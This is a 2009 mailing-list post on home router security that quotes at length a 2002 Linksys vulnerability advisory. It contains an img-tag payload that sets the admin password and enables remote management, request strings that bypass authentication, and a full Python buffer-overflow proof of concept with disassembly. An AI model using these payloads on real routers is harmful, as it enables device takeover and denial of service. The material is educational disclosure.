HackFest Series: DSL Router Exploits, Stack/Email/UPnP & WRT

Lisa Kachold lisakachold at obnosis.com
Sat Jan 31 20:00:14 MST 2009


Most home based routers can be easily exploited in a variety of ways.   

This is a list of a great many historic security exploits: http://attrition.org/security/advisory/  

...but it's probably going to work best to just google your router version.

Even the open-wrt and dd-wrt 3rd party firmware versions will overflow a buffer and allow "special features" including standard SSL and SSH exploits for any port open including failing to protect http/XML sources from an external attack under a distributed attack.

Many owners of Netgear and Linksys like running their own shell based routers, since they can more easily setup special features especially P2P passthrough, VPNs and easy tunnels via command line, and ssh easily through.  However, it's a fallacy that they are more secure or faster.  They do not compete with the IPS features of packet inspection features and Layer 2 switching available in some of the newer multi-processor "business router" models.  But if you really need a secure network, a Cisco ASA is recommended (but be sure to know the IOS and firmware version exploits also!)

For more information on fun that can be had via WRT firmware see:

http://openwrt.org
http://www.dd-wrt.com/dd-wrtv3/index.php

It's fairly easy in 15 minutes to determine if your "router" is on the equipment compat list via google.

WRT is not recommended unless you can manipulate files and understand command line systems. 
Belkin/Netgear/LinkSys have an extensive list of known exploits - it's best to check what is broken on your firmware via Google.

It's a good idea to check for WRT'able versions - for instance the Cisco older teeny routers with the ARM processor had too small of memory to really be WRT-d, therefore this
is a good choice - I bought one at a garage sale for $1.00 (and I add it as a second level of NAT complexity to my network for various reasons).

Excerpted from http://attrition.org/security/advisory/core/core-2002-10-05.linksys (full list of the same old exploits around for some time described):

Workarounds*

   - Disable "Remote Management" if it's enabled. 


This will restrict the exploitability of the bugs to the local network, or require a little smarter attack, for example,
an email with an embedded Img tag may, upon reading, enable "Remote Management", giving the attacker full control
of the appliance across the internet, especially if your admin username is Admin and your password saved in your cache. 

For example:

<Img Src=http://192.168.1.1/Gozila.cgi?setPasswd=hola&RemoteManagement=1&.xml=1>

   - Remote Management port can be changed. 

This will not make the attack impossible at all, but will somehow make it a little tougher for an
attacker, probably giving you some more time to detect her.


Authentication Bypassing vulnerabilities:
~~~~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~~~~~~~~~

This vulnerability was independently discovered and reported to Linksys 
by at least two other persons. Seth Bromberger posted a report to bugtraq about
this vulnerability (see [2]). It was partially fixed in firmware v1.43.3,
but it's still possible to exploit it, keep on reading.

As part of the UPnP implementation [1], the Linksys family of products 
multicast their features as part of UPnP's Discovery step. For this UDP packets 
are sent from port 1901 to multicast address 239.255.255.250 port 1900. The following
are two examples of such packets' data.

NOTIFY * HTTP/1.1
HOST:239.255.255.250:1900
Cache-Control:max-age=120
Location:http://192.168.1.1:5678/rootDesc.xml
NT:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777
NTS:ssdp:alive
Server:NT/5.0 UPnP/1.0
USN:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777


NOTIFY * HTTP/1.1
HOST:239.255.255.250:1900
Cache-Control:max-age=120
Location:http://192.168.1.1:5678/rootDesc.xml
NT:urn:schemas-upnp-org:device:InternetGatewayDevice:1
NTS:ssdp:alive
Server:NT/5.0 UPnP/1.0
USN:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777::urn:schemas-upnp-org:device:InternetGatewayDevice:1

In response to these packets, an UPnP control point will retrieve a 
description from the URL supplied in the NOTIFY packet, using the HTTP protocol. In our
case this URL is http://192.168.1.1:5678/rootDesc.xml, and no authentication
is needed to access it (you can test this using the browser of your choice).
In order to answer requests to port 5678 and to serve remote administration
pages on port 80, Linksys' products use the same embedded HTTP server
"application".

The HTTP server will check the requested URL for the substring ".xml", 
if this substring is present, all the authentication verification code will be just
skipped, lets see the following ARM assembly fragment, extracted from a
firmware image:

01797E LDR R0, =HTTPRequest
017980 STR R7, [R0,#HttpRequest.buffer]
017982 LDR R0, =HTTPRequest
017984 LDRH R0, [R0,#HttpRequest.method_length]
017986 ADD R0, R0, R7
017988 ADD R0, #1
01798A LDR R1, =HTTPRequest
01798C STR R0, [R1,#HttpRequest.path]
01798E ADD R0, R7, #0
017990 ADR R1, a_xml_0 ; ".xml"
017992 BL strstr ; (string, subst)
017996 CMP R0, #0
017998 BEQ loc_179A2 ; read more from net and do auth
01799A MOV R0, #0
01799C LDR R1, =HTTPRequest
01799E STRH R0, [R1,#HttpRequest.has_args+2]
0179A0 B loc_17ACE ; skip auth

As this code is shared for serving UPnP requests (on port 5678) and any 
other HTTP requests, the authentication can be bypassed just adding the string
".xml" anywhere in the requested URL: The function strstr() at 0x17992 will
answer there is a substring matching ".xml" and the conditional jump at
0x17ACE will skip the authentication verification code (and some other 
code as well).

These checks were reinforced with additional comparisons. The idea was to
authorize requests without authentication only for /rootDesc.xml,
/Layer3Forwarding.xml, /WANCfg.xml and WANIPCn.xml. But the request is 
parsed in, at least, two different places in the code, and these two parsings 
are not coherent, so there is a still a way to bypass the authentication. We 
will not go through the code this time, but if you replace the correct line in
linksys_exploit.py (below) you would be able to access the Remote Management
interface without having the correct password:

self.toSend = "BBB /Log.htm GET /rootDesc.xml"

There are other ways to exploit this bug, for example, we've been able to
craft an HTML page which, when loaded, changes the Remote Management 
password, and enables Remote Management through the internet. Of course, this page 
could be attached to an email, and be used to perform these changes "from the
internet, even when the Remote Management feature is disabled".

Additionally, in firmware v1.43.3 three other authentication bypassing
vulnerabilities were introduced. These new vulnerabilities work in 
pretty much the same way as the original ".xml" vulnerability, but the new magic strings
are different: "TxRxTest", "CalibrationTest" and "WriteCalibration". Linksys
reported that these vulnerabilities are only present in the wireless 
products of the family. It's worth to mention that we haven't verified the security
implications (if there are any) of allowing unauthorized access to these 
three requests.

Stack Based Buffer Overflows:
~~~~~ ~~~~~ ~~~~~~ ~~~~~~~~~

Following the previously described code, if the request line does not 
contain the substring ".xml", if it's a GET request and, after what we believe is a
small delay, a second part of the request is read from the net. On entry to
this function, space is allocated in the stack for local variables and
buffers. Only 0x1FC+0x1F0 = 1004 bytes are reserved.

01791C PUSH {R0-R2,R4-R7,LR}
01791E ADD R7, R0, #0
017920 SUB SP, SP, #0x1FC
017922 SUB SP, SP, #0x1F0
017924 LDR R0, =unk_A016C

Then, 1596 bytes are read from the net into a local buffer in the stack.
Not every request will have enough bytes to overflow the buffer, and that's
why the code doesn't usually crash. But if a long request is sent, the 
buffer is overflown and the stack can be modified "a piaccere". Note that the 
"first fragment" is read before entering these functions, into another buffer
allocated in the stack.

0179E4 ADD SP, SP, #4
0179E6 LDR R0, [R6,#HttpRequest.response_length]
0179E8 CMP R0, #0
0179EA BEQ loc_187D8
0179EC MOV R1, SP
0179EE LDR R0, [SP,#connection_id]
0179F0 LDR R2, =1596
0179F2 BL read_from_net ; (sock, buffer, buffer_size)
0179F6 ADD R4, R0, #0
0179F8 ADD R2, R4, #0
0179FA ADR R1, aSFP ; "Second fragmented packe.."
0179FC MOV R0, #2
0179FE BL log ; (loglevel,char *format,...)
017A02 MOV R1, #0
017A04 MOV R0, SP
017A06 STRB R1, [R0,R4]
017A08 MOV R1, SP
017A0A ADD R0, R7, #0
017A0C BL strcat

There is a another problem on this code fragment. After reading the second
fragment of the request, strcat() is used to append it to the first 
fragment, but the first fragment is also stored in a local buffer of 1596 bytes.
While this is in fact a buffer overflow, its exploitability is not yet
determined, as we are dealing with a bigendian setup, and all valid memory
addresses contain a zero in their most significant byte... But we've seen
tougher bugs exploited, so...

This second vulnerability regarding strcat() was partially fixed on 
firmware v1.43.3. Partially for two different reasons:

On one side, there are two callers of this function, from what we could
determine one caller is responsible for requests done to the Remote
Management port, and the other caller answers requests to port 5678.
Only one of these functions was fixed (extending the buffer size from 1596
to 3192), but the other function (the one answer requests on port 5678) is
still allocating only 1596 bytes. You can test this vulnerability changing
the correct line in, again, linksys_exploit.py to:

self.s.connect(('192.168.1.1',5678))

For this to work, UPnP must be enabled (at least on v1.43.3)

On the other side this is only a partial fix because, although the
buffer was enlarged from 1596 to 3192, the read() for the first fragment
was also increased from 1596 to 3192 bytes, and the strcat() would still
overflow the buffer if there are more than 1596 bytes to read for the first
fragment. This does not immediately lead to a vulnerability, as Linksys'
internal TCP implementation will not return more than MTU bytes on a
single read, but if this fact is changed in the future, this vulnerability
will mysteriously re-appear.

The following python program will exploit the first of the two buffer
overflows, and redirect the execution flow to jump to the address 
0x175fa (only valid for BEFW11S4 for firmware v1.42.7. For v1.43 or other appliances 
you'll have to change it). For this proof of concept exploit we are not introducing
our own code (or "shellcode"), we are rather using code already present 
in the firmware, with the only purpose of showing the exploitability of the bug.


------- linksys_exploit.py --------
import socket
import struct
import select

class Exploit:
def __init__(self):
pass

def setup(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect(('192.168.1.1',80))

self.returnAddress = 0x1834c # 1.43 log(2,"unknown file name!")
self.returnAddress = 0x175fa # 1.42.7 log(2,"unknown file name!")

self.paddingSize = 1500-20-20+1004+7*4
# 1500 is MTU
# 20 IP header
# 20 TCP header
# 1004 for allocated space
# 7 saved registers
self.toSend = "GET "
self.toSend += "A"*(self.paddingSize-len(self.toSend))
self.toSend += struct.pack(">L", self.returnAddress)

def attack(self):
self.s.send(self.toSend)
(r,w,x) = select.select([self.s],[],[],2)
if self.s in r:
print self.s.recv(100000)
self.s.close()

def run(self):
self.setup()
self.attack()

def main():
ex = Exploit()
ex.run()

main()
-----------------------------------

To understand what the code at the chosen address does, we need some more
insight in what are firmware's capabilities.

In the previous assembly fragment, at 0x179FE you can see a function we 
named log() being called. This function will send an SNMP trap to the 
configured SNMP server. The first argument (2 in this example) is a bitmask indicating the
facility the message applies to. You can configure your SNMP server from the
Log tab in the HTTP administration page. From this page you can also 
enable or disable the "Access" facility. If you check the source for that page,
you'll see it's setting bit 0 of the rLog variable. The other meaningful 
bits are, apparently 1,2 and 3, "System", "PPPoE & RAS" and "NAT" facilities,
respectively. We first thought we would have to manually deal with 
bits!, but we later found there is a page you can use to change these values, if your
Linksys appliance is at 192.168.1.1 you can try your preferred browser on
http://192.168.1.1/LogManage.htm. This page is not reachable from any other
page in the Remote Management system.

Back to where we left. The described code fragment is calling log(2, "Second
fragmented packet comes in, len=%d", len). In order to see the SNMP trap
generated we'll have to enable facility "System" and setup our SNMP traps
server. After doing this, you should start seeing SNMP traffic coming from
the appliance. If you don't want to use a sniffer, you can either download
some SNMP monitoring application, use one you already have, use netcat 
or use the python program included, which just dumps incoming packets to UDP port
162... which is a little more than enough.

Back to the last remaining bit of the exploit, the code we are jumping 
to is:

0175FA MOV R0, #1
0175FC LDR R1, =unk_A0180
0175FE STR R0, [R1,#0x20]
017600 ADR R1, aUnknownFileNam ; "Unknown File Name !"
017602 MOV R0, #2
017604 BL log

This code just sends an SNMP trap with the string "Unknown File Name !"
through the network. So, if the exploit works and you are able to see SNMP
traps, you'll see this string on the net. After this the appliance will 
reboot itself, and start working again, without loosing any configuration. If you are doing 
all this on a wireless connection as we did, you may need to rescan/reconnect to the AP in 
order for it to work again (probably only true if WEP is enabled)

------- snmp-traps.py --------
import socket

class SNMPTrapsServer:
def __init__(self):
pass

def start(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.s.bind(("0",162))
while 1:
snmp = self.s.recv(1500)
print snmp[73:]

def stop(self):
self.s.close()

server = SNMPTrapsServer()
server.start()
server.stop()
------------------------------

"Heap" Based Buffer Overflows:
~~~~~~ ~~~~~ ~~~~~~ ~~~~~~~~~

Configuration is maintained in global variables on fixed locations, 
there is no dynamic heap allocation routines in the firmware, as far as we could
determine. From what we saw, every string variable is copied from the HTTP
request to the global storage using strcpy(), what directly turns every 
string variable in a possibility of causing a buffer overflow.

Ignoring the authentication bypassing bugs (which will hopefully be fixed
now), to be able to overflow any of these buffers, an attacker must be
authenticated, and even then, we are not sure how much damage can be done.
 


More information about the PLUG-discuss mailing list